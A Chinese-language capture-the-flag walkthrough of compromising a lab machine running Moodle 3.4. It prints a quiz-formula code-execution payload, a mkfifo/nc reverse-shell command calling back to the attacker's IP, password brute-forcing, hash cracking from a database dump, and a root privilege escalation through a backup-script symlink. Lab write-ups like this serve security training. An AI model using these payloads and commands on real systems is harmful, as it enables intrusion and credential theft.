Kali: 10.10.14.50
靶机地址:10.10.10.153
先用nmap 对靶机进行扫描
nmap -sC -sV -sT 10.10.10.153
只开启了80端口,网页内容如下
一个静态的网页,还有一些其他的页面,Courses,Students等等
检查下网页的源代码,在GALLERY页面发现一个奇怪的点
第一个img元素多了一个onerror错误事件,意思是加载错误时在控制台输出(That‘s an F)
然后其他的img图片都是能正常打开唯独第一个是无法打开的
那么可能这个图片里面藏着什么东西,用curl下载来看看
curl http://10.10.10.153/images/5.png -o image.png
下载过来的文件是打不开的,可能它是损坏的或者它就不是一个图片
我们用file+cat命令查看文件类型以及文件里面的内容
他的意思是忘记了密码的最后一位,让我们弄清楚密码或者是去重置密码
我们用gobuster对网页的目录进行爆破处理
gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.153/ -t 50
/phpMyAdmin
/moodle
PhpMyAdmin被拦截无法访问,然后moodle是正常可以访问的
Moddle有个登陆页面
帐户密码可能就是刚刚提示所说的
帐户:Giovanni
然后密码的最后一位我们需要去猜解
我们用burp的intruder模块进行暴力猜解
加载一下两个字典(数字+大小写字母+特殊字符)
/usr/share/SecLists/Fuzzing/alphanum-case.txt
/usr/share/SecLists/Fuzzing/special-chars.txt
根据响应长度的不同,找出了最后一位的密码位#
正确的帐户和密码如下:
Username:Giovanni
Password:Th4C00lTheacha#
我们需要查看下moodle的版本,然后找对应的EXP
可以找到任意网页下面的(Moodle Docs for this page),查看他跳转的url根据url参数看出它是什么版本的
所以这个版本是3.4版本的,然后我们去google查找3.4版本的漏洞
漏洞文章:https://blog.ripstech.com/2018/moodle-remote-code-execution/
我们可以利用quiz进行代码执行
打开编辑模式
任选一个TOP创建一个活动
点击quiz
输入内容,然后点击(Save and display)
然后我们点击 edit quiz
并添加一个新问题。问题类型将是Calculated
然后信息随便填写
在answers填入(这个在这其实并不适用)
/*{a*/`$_REQUEST[sdfz]`;//{x}}`;
在实际运用的过程中还是会需要修改下payload的
经过2次的修改最终的payload为
/*{a*/`$_REQUEST[sdfz]`;//{x}}
成功后就来到这个页面
我们将点击Next Page访问页面:
如果能正常显示说明payload没有问题
我们用kali监听1337
然后在页面后面添加如下url并访问
&sdfz=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+10.10.14.50+1337+>/tmp/f
然后得到shell
尝试切换到用户目录发现不允许
所以我们需要找到用户的shell
然后我就返回moodle目录查找有没有可用线索,发现config.php配置文件
我们通过mysql -u root -p进行登陆,但是发现不能连续性执行sql语句,shell交互性很差
我们通过python来建立起一个shell
python -c 'import pty;pty.spawn("/bin/bash")'
执行下面2句sql:
use moodle;
select username,password from mdl_user;
前3个就是被混淆过可能无法破解,我们看下第4个的长度
echo -n 7a860966115182402ed06375cf0a22af | wc -c
发现是32位,应该是MD5加密
破解下
也可以到这个网站破解:https://crackstation.net/
帐户:Giovannibak(这个帐户其实是不对的)
密码:expelled
然后我们切换过去
发现这个用户有问题应该是不存在的,后来看到bak可能是备用的用户,我们查下/etc/passwd
帐户:giovanni
密码:expelled
得到user flag
接下来就是获得root权限,经过各种查找
在giovanni的work目录下发现一个,应该是任务计划数据备份的留下的线索
然后我看了下计划任务
有的目录不能访问,有的就是各种调用,这里我用一个就是进程过程监控工具,我只要看它到时候调用了什么脚本生成备份数据
项目地址:https://github.com/DominicBreuker/pspy/releases
直接下这个已经编译好的二进制
先看下靶机的系统
这里我就直接下这个
接下来就是常规操作,本地用python的SimpleHTTPServer模块开启HTTP服务,然后靶机用wget远程下载pspy,这里我们把pspy下载到靶机的/dev/shm目录
然后chmod +x 并执行
这里很明显切换了root身份开始了任务计划,同时我们也看到了/usr/bin/backup.sh这个脚本,我们可以通过它得到root shell,但是发现我们只有执行的权限并没有编辑权限
查看下文件的内容
它压缩/home/giovanni/work/courses目录中的所有东西,在切换到tmp目录把压缩包解压到tmp目录中去。利用这个特性,我们rm -r 删除原始的courses目录,并创建root目录的软连接即ln -s /root courses
这样脚本再次进行数据备份的时候会把root目录下的东西解压缩到tmp目录,然后我们直接cat root flag即可